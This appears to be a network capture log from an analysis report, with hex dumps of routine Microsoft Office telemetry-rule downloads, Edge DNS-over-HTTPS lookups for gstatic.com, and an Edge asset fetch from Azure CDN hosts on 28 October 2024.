2024-10-28 01:07:36 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:35 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: 27230864-a01e-0070-6533-26573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010735Z-17c5cb586f6fqqst87nqkbsx1c00000002n000000000c1mz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 01:07:36 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.6	49879	162.159.61.3	443	5076	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:36 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-10-28 01:07:36 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-10-28 01:07:36 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Mon, 28 Oct 2024 01:07:36 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8d9707a77ebf2d47-DFW alt-svc: h3=":443"; ma=86400
2024-10-28 01:07:36 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 ed 00 04 8e fa 73 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcoms^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.6	49880	162.159.61.3	443	5076	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:36 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-10-28 01:07:36 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-10-28 01:07:36 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Mon, 28 Oct 2024 01:07:36 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8d9707a78e95e823-DFW alt-svc: h3=":443"; ma=86400
2024-10-28 01:07:36 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 6f 00 04 8e fa 73 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomos^)

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.6	49878	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:36 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:36 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:36 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 92d64d37-101e-0034-119c-2796ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010736Z-16849878b78wv88bk51myq5vxc00000004h000000000gxqs x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 01:07:36 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.6	49884	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:36 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:36 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:36 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: 08f6a26f-f01e-0071-6b1c-27431c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010736Z-16849878b78bcpfn2qf7sm6hsn00000005vg00000000hr6k x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 01:07:36 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.6	49883	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:36 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:36 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:36 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: 903d1aff-701e-0050-019c-276767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010736Z-16849878b78fssff8btnns3b1400000004mg00000000986m x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 01:07:36 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.6	49885	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:36 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:36 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:36 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: ee736da1-b01e-001e-7be0-260214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010736Z-r197bdfb6b4qbfppwgs4nqza8000000002wg0000000092zy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 01:07:36 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.6	49886	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:36 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:36 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:36 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: ded904a3-601e-000d-0f3d-262618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010736Z-17c5cb586f69w69mgazyf263an00000003k00000000001x0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 01:07:36 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.6	49888	162.159.61.3	443	5076	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:36 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-10-28 01:07:36 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-10-28 01:07:36 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Mon, 28 Oct 2024 01:07:36 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8d9707ab7896465c-DFW alt-svc: h3=":443"; ma=86400
2024-10-28 01:07:36 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 ba 00 04 8e fa 73 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcoms^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.6	49887	13.107.246.45	443	5076	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:36 UTC	711	OUT	GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: EntityExtractionDomainsConfig Sec-Mesh-Client-Edge-Version: 117.0.2045.55 Sec-Mesh-Client-Edge-Channel: stable Sec-Mesh-Client-OS: Windows Sec-Mesh-Client-OS-Version: 10.0.19045 Sec-Mesh-Client-Arch: x86_64 Sec-Mesh-Client-WebView: 0 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-28 01:07:37 UTC	576	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:36 GMT Content-Type: application/octet-stream Content-Length: 70207 Connection: close Content-Encoding: gzip Last-Modified: Thu, 24 Oct 2024 19:29:56 GMT ETag: 0x8DCF4623DD70062 x-ms-request-id: 1fa8ccbb-501e-0019-2a90-28446f000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241028T010736Z-16849878b785dznd7xpawq9gcn00000005qg00000000c08y Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 01:07:37 UTC	15808	IN	Data Raw: 1f 8b 08 08 34 a0 1a 67 02 ff 61 73 73 65 74 00 ec bd 0b 97 db 36 b2 30 f8 57 b2 b9 33 b3 dd 89 d5 d6 5b dd d9 cd fa f4 d3 f1 f8 39 6d 3b 19 db f1 d5 01 49 48 a2 45 91 0c 1f 6a ab c3 be bf 7d 0b 05 80 00 08 50 52 db ce 77 ef b7 67 67 9c 16 09 14 0a 40 a1 50 a8 2a 14 c0 3f bf f7 93 78 16 ce bf ff e9 bb 3f bf 2f 92 25 8d a7 51 b8 0a 0b 78 ef 8d bb dd 07 df 7d 9f 92 39 9d fa 65 91 cc 66 90 38 1c f4 59 62 40 67 a4 8c 8a 69 94 f8 24 a2 d3 15 49 11 81 c7 f0 c0 df 0e 3c 00 94 97 e3 6b de f1 08 7b a5 11 7b a5 51 67 9e e1 6b 8c af 71 a7 cc f1 15 81 69 de 59 7d c6 d7 02 5f 8b 0e a5 ec d5 c7 5c 3f ef f8 b7 ec 35 20 ec 35 20 9d 60 89 af 14 5f 69 27 40 e0 19 e6 ce 48 27 c4 8a 66 21 be 86 1d 78 60 af 19 be 66 9d 19 e6 2e b0 ec 82 76 c2 08 5f 31 77 91 75 16 3c b7 c4 d7 Data Ascii: 4gasset60W3[9m;IHEj}PRwgg@P*?x?/%Qx}9ef8Yb@gi$I<k{{QgkqiY}_\?5 5 `_i'@H'f!x`f.v_1wu<
2024-10-28 01:07:37 UTC	16384	IN	Data Raw: c5 f3 e8 07 bb 82 71 ba da 2a 0b c7 62 2c 30 96 c2 52 09 74 65 c0 2a 8a c3 88 95 9c 7c 3e a9 79 09 d4 fa 9a 9f 30 4a 49 28 2b d7 97 ff 7a 7b f9 fa cd f4 c9 05 68 2b 37 9c c1 08 01 cb 2f 28 f3 02 34 de 08 0c a6 34 da 38 c6 ec 48 27 33 28 96 9f 45 d9 4f 9f 12 f7 54 d2 47 a6 39 87 08 81 e9 6d 4f c1 43 97 10 bf ad 59 55 67 39 13 fe 1e 05 67 65 16 87 6c 9b f5 cb 90 60 eb 3d ea 25 09 33 8b f9 4a fb 10 ef 11 3b 7c e8 61 60 14 a0 60 b9 7c 16 e7 69 54 b1 c3 22 c0 e0 29 df c2 05 4c 8f bc f0 67 5e 04 75 33 51 9a b7 e1 61 1a 61 48 f5 c3 30 f7 62 91 d5 a8 34 39 2a 97 ff 2d f5 aa c1 c2 6c 78 e0 35 33 d1 42 b3 75 c4 be 3b f4 d0 68 83 51 a7 81 2d a0 ff 0d 5d 10 62 ed 7f 55 a5 99 9f 25 2b 2f a4 4d 09 21 65 43 c7 04 cf 93 19 f3 c1 d0 b6 e9 14 38 59 31 29 8b 4d 52 3a c4 97 Data Ascii: qb,0Rte\|>y0JI(+z{h+7/(448H'3(EOTG9mOCYUg9gel`=%3J;\|a``\|iT")Lg^u3QaaH0b49*-lx53Bu;hQ-]bU%+/M!eC8Y1)MR:
2024-10-28 01:07:37 UTC	16384	IN	Data Raw: c1 f4 52 a7 67 b3 99 ff bc b7 c2 8e 7c d3 4d 9a a5 bf dc f0 20 15 b1 bc 1f 82 9a 8d 98 a7 af db 80 6b 74 e7 ab 7c e6 18 7d 9a 2b 3e 34 2d 1a e7 c0 d5 e8 b4 a0 0e d4 7d 19 bb 69 52 58 a2 33 32 78 db 4b 2d cd 54 dd d2 2b 9c a0 29 69 1a ba 4a ee 0a 4d 33 5a 7b a7 1a 83 5f f3 f7 fe 2c 2f 84 3b 39 d0 56 82 ef 75 a4 f3 69 57 af 58 09 8c 2a 1d 24 b9 4e 6b cf 63 d0 74 99 e3 02 0f 26 7f 1a 86 a9 a8 69 fa 5a d8 25 83 c1 ea f8 fd 12 62 16 86 38 17 5a 19 6f 13 03 00 e6 6a 07 a4 40 be bb 20 de a6 de bf d1 06 75 32 1f c3 4f 67 41 ad 31 bd b0 9c ee 44 47 33 2a 92 9c d3 f6 35 64 a9 b1 d3 f6 b1 c7 a7 b4 80 af ea c1 2a 6c dd 81 a0 0b 67 ca d2 b2 11 7c 8d dc 39 47 56 d1 bd 08 e8 ec 3e 4f c9 56 d6 7a d3 9a 56 4d 17 50 41 9b 17 9b 37 36 da 2e 7c a4 ba 63 f5 72 cd 6b 58 b5 9b Data Ascii: Rg\|M kt\|}+>4-}iRX32xK-T+)iJM3Z{_,/;9VuiWX$Nkct&iZ%b8Zoj@ u2OgA1DG35d*lg\|9GV>OVzVMPA76.\|crkX
